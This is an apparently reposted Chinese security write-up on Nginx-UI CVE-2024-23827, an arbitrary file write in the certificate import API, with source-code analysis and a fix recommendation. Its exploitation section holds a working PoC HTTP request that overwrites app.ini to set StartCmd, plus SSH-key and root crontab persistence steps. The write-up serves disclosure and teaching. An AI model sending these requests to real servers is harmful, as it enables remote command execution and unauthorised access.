社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  NGINX

Nginx-Ul 任意文件写入漏洞分析与利用思路(CVE-2024-23827)

合天网安实验室 • 3 月前 • 83 次点击  
点击蓝字,关注我们


本文转自先知社区:

https://xz.aliyun.com/t/13580?time__1311=mqmxnQiQG%3DDQDtGODlcIo0%3Dii%3DNC3fG7iD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2F

作者:For82

漏洞描述

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.
Nginx UI是一个用于管理Nginx配置的web界面。其中导入证书功能,允许任意写入文件。该功能不检查提供的用户输入是否是证书/密钥,并允许写入系统中的任意路径。通过覆盖配置文件app.ini,有可能利用该漏洞进行远程代码执行。2.0.0.beta.12版本修复了该问题

影响版本

安全版本

v2.0.0-beta.12

漏洞分析

路由分析

通过漏洞描述我们可以知道漏洞点是位于导入证书功能,搭建好靶场后,进入web页面,导入抓包。获取路由。

查看代码,可以发现系统使用gin框架,gin框架的路由定义可以参考以下例子,是通过绑定一个相应请求到路由上,当访问这个路由时,就会会执行相应的函数。
package main
import ( "github.com/gin-gonic/gin")
func main() { // 创建一个默认的路由引擎 r := gin.Default()
// 绑定一个GET请求到 /hello 路由上,当访问这个路由时,会执行相应的函数 r.GET("/hello", func(c *gin.Context) { // 使用Context的String方法返回响应码200和字符串"Hello World" c.String(200, "Hello World") })
// 运行HTTP服务器,默认监听在0.0.0.0:8080 r.Run()}

这里直接进行关键词搜索我们可以到api路径下,r.Group("/api")是用来创建一个路由组的方法。其中g := root.Group("/", authRequired(), proxy())authRequired() proxy()是作为中间件应用到这个路由组的,authRequired()从名字可以看出用于验证用户身份。

查看authRequired()函数代码,具体为从请求头中读取Authorization,如果为空读取X-Node-Secre,然后使用CheckToken方法进行查询。

func authRequired() gin.HandlerFunc {    return func(c *gin.Context) {        abortWithAuthFailure := func() {            c.AbortWithStatusJSON(http.StatusForbidden, gin.H{                "message": "Authorization failed",            })        }
token := c.GetHeader("Authorization") if token == "" { if token = c.GetHeader("X-Node-Secret"); token != "" && token == settings.ServerSettings.NodeSecret { c.Set("NodeSecret", token) c.Next() return } else { c.Set("ProxyNodeID", c.Query("x_node_id")) tokenBytes, _ := base64.StdEncoding.DecodeString(c.Query("token")) token = string(tokenBytes) if token == "" { abortWithAuthFailure() return } } }
if model.CheckToken(token) < 1 { abortWithAuthFailure() return }
if nodeID := c.GetHeader("X-Node-ID"); nodeID != "" { c.Set("ProxyNodeID", nodeID) }
c.Next() }}

这里CheckToken为从数据库中查找token,虽然从后续的GenerateJWT方法可以看出使用JWT认证,但其中的JwtSecret在配置文件中定义(不存在硬编码问题),并且GenerateJWT方法创建JWT后执行存进数据库操作,并且认证也是进行数据库取值比对,这里的验证未发现绕过操作,漏洞属于需要认证的后台漏洞。

漏洞点分析

从上面的/api/路由组中我们可以发现certificate.InitCertificateRouter(g)函数,注册了一系列与证书相关的路由和处理器,其中就存在cert 路由以及处理器AddCert

查看AddCert函数代码可以发现它是一个Gin的HTTP处理函数,用于添加一个新的证书。首先定义一个匿名结构体,用于解析和验证传入的JSON请求体。其中的证书路径和证书密钥路径,属于必填,用于后续的创建文件,然后初始化一个证书模型对象接收传入的json参数。接收成功后执行content.WriteFile()写入文件。

func AddCert(c *gin.Context) {    var json struct {        Name                  string `json:"name"`        SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`        SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`        SSLCertificate        string `json:"ssl_certificate"`        SSLCertificateKey     string `json:"ssl_certificate_key"`        ChallengeMethod       string `json:"challenge_method"`        DnsCredentialID       int    `json:"dns_credential_id"`    }    if !api.BindAndValid(c, &json) {        return    }    certModel := &model.Cert{        Name:                  json.Name,        SSLCertificatePath:    json.SSLCertificatePath,        SSLCertificateKeyPath: json.SSLCertificateKeyPath,        ChallengeMethod:       json.ChallengeMethod,        DnsCredentialID:       json.DnsCredentialID,    }
err := certModel.Insert()
if err != nil { api.ErrHandler(c, err) return }
content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, }
err = content.WriteFile()
if err != nil { api.ErrHandler(c, err) return }
c.JSON(http.StatusOK, Transformer(certModel))}

查看WriteFile()函数,从名字就可以知道这是一个进行写入文件操作的函数。可以看到会先创建创建存放SSL证书的目录和存放SSL证书密钥的目录,如果目录已存在就不会进行创建操作。如何将内容写入文件。

func (c *Content) WriteFile() (err error) {    // MkdirAll creates a directory named path, along with any necessary parents,    // and returns nil, or else returns an error.    // The permission bits perm (before umask) are used for all directories that MkdirAll creates.    // If path is already a directory, MkdirAll does nothing and returns nil.
err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return }
err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return }
if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } }
if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } }
return}

文件写入利用思路

这里我们知道我们可以将任意内容写入服务器中任意文件,也可以创建新的文件,不过这里需要注意一个点,如果是新创建的文件权限为0644是不具备执行权限的。这里的权限为所有者允许读写,而所属组成员和其他用户仅读取。所以这里我们需要关注于本机上已经存在的文件。这里先分析漏洞发现者的利用思路。

利用程序配置文件

在前面查看app.ini配置文件时,我们可以发现一个参数StartCmd

通过搜索StartCmd参数可以发现,其在NewPipeLine函数中被执行。分析代码可以发现NewPipeLine函数是启动一个新的伪终端的操作。通看上下文代码可以知道作者写这里的作用是为了实现一个在Web浏览器中创建一个类似命令行的界面,让用户能够远程执行和控制一个shell会话。

这里StartCmd参数中的值会被c := exec.Command(settings.ServerSettings.StartCmd)执行,所以我们只需要将我们想要执行的名通过StartCmd参数写入app.ini配置文件,app,ini为程序启动的配置文件,在程序重新启动时便可以执行我们想要的命令。

这里的利用思路很巧妙,不过缺点在于需要重新启动程序。这里也可以利用常用的文件写入的利用思路。

POST /api/cert HTTP/1.1Host: 127.0.0.1:9000Content-Length: 980Accept: application/json, text/plain, */*Authorization: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7Connection: close
{"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost          = 0.0.0.0\r\nHttpPort          = 9000\r\nRunMode           = debug\r\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail             = props@pros.com\r\nDatabase          = database\r\nStartCmd          = bash\r\nCADir             = dqsdqsd\r\nDemo              = false\r\nPageSize          = 10\r\nGithubProxy       = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath  =\r\nConfigDir     =\r\nPIDPath       =\r\nTestConfigCmd =\r\nReloadCmd     =\r\nRestartCmd    =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken   =\r\nProxy   =\r\nModel   = \r\n\r\n[casdoor]\r\nEndpoint     =\r\nClientId     =\r\nClientSecret =\r\nCertificate  =\r\nOrganization =\r\nApplication  =\r\nRedirectUri  =","ssl_certificate_key":"test2"}

写入SSH公钥免密登陆

这里也可以通过写入写入SSH公钥免密登陆,首先我们需要先在客户端生成SSH密钥对,可以使用 ssh-keygen 命令

ssh-keygen -t rsa -b 4096

此时会在在 ~/.ssh/ 目录下生成两个文件,id_rsa(私钥)和 id_rsa.pub(公钥)。我们只需要将生成的公钥(id_rsa.pub)写入到服务器的 ~/.ssh/authorized_keys 文件中,便可以直接通过ssh登陆到服务器。


成功写入SSH公钥


成功登陆服务器

计划任务

Linux计划任务是一种在Linux操作系统中自动执行任务的方法,cron是一个守护进程,它根据一个称为crontab(cron table)的配置文件运行。我们可以通过crontab命令编辑他们的个人计划任务列表,也可以直接编辑系统中自带的计划任务脚本。

  • /etc/crontab:系统的主crontab文件。

  • /etc/cron.d/:一个目录,可以包含附加的crontab配置文件。

  • /etc/cron.daily/:存储每天执行一次的脚本。

  • /etc/cron.hourly/:存储每小时执行一次的脚本。

  • /etc/cron.weekly/:存储每周执行一次的脚本。

  • /etc/cron.monthly/:存储每月执行一次的脚本。

当然每个用户也可以有自己的crontab文件,这些文件通常存储在/var/spool/cron/目录中,在当前漏洞中我们新建的文件没有执行权限,所以优先直接更改系统自带的计划任务。我们可以直接更改系统的主crontab文件/etc/crontab。打开格式如下,我们只需要在最新一行写上计划任务就行,如下。

SHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root
# For details see man 4 crontabs
# Example of job definition:# .---------------- minute (0 - 59)# | .------------- hour (0 - 23)# | | .---------- day of month (1 - 31)# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# | | | | |# * * * * * user-name command to be executed * * * * * root whoami >> /var/log/whoami.log 2>&1

其中* * * * *:时间和日期字段,每个星号代表一个时间单位。从左到右分别是:分钟、小时、一月中的日、月份、一周中的日。星号(*)表示每个时间单位的每个可能的值。而root表示任务将以 root 用户的权限执行。

将以上命令转换成json字符串传输进行。

成功写入文件

成功执行命令


总结

该漏洞是对于用户的输入是否是证书/密钥,写入系统中的文件路径。未经检查造成的任意文件写入漏洞。该漏洞存在创建文件操作,但文件无执行权限,并且对于golng这种编译型语言。没有办法上传webshell,所以只能通过上传或文件写入加其他利用达到RCE效果。

修复建议

将组件Nginx-UI升级至v2.0.0-beta.12及以上版本

来源

https://avd.aliyun.com/detail?id=AVD-2024-23827


原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

靶场实操,戳"阅读原文"

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/167116
 
83 次点击